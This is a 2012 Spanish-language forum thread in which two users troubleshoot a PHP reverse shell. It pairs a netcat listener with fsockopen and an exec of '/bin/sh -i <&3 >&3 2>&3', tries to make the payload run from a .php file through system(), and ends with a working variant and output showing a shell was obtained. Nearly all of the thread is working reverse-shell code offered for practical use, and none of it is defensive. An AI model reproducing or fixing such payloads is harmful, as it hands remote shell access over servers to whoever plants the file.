Menú Principal

duda PHP

Iniciado por MichBukana, 4 Julio 2012, 23:22 PM

0 Miembros y 1 Visitante están viendo este tema.

MichBukana

Hola foro tengo una duda

si pongo netcat a la escucha en el puerto 5000:
Código (bash) [Seleccionar]
netcat -l -p 5000 -vv

y en otra terminal ejecuto esto:
Código (php) [Seleccionar]
php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'

me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:
//NO ME FUNCIONA, No devuelve la shell
Código (php) [Seleccionar]

        <?php
       
       $ultima_linea 
system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
        
?>
       


o esto:
       
        //NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
       
Código (php) [Seleccionar]
<?php
        $sock
=fsockopen(127.0.0.15000);
        
exec("/bin/sh -i <&3 >&3 2>&3");
        
?>

it3r

Hola, interesante lo que posteas, podrias exaplicarme que realiza este comando?

/bin/sh -i <&3 >&3 2>&3\

se que ejecuta una shell pero mas aya de eso no entiendo :X

y en cuanto a tu problema a mi me resulto con:

system('php -r \'$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");\'');

saludos.

MichBukana

estas seguro que te conecta teniendo netcat a la escucha?
Código (php) [Seleccionar]
<php system('php -r \'$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");\''); ?>


por que acabo de probarlo en un OS X y no me funcionó.

en que S.O. tienes el servidor con php?

it3r

fedora..


[dr@dr ~]$ nc -l 5000
sh: no job control in this shell
sh-4.1$


saludos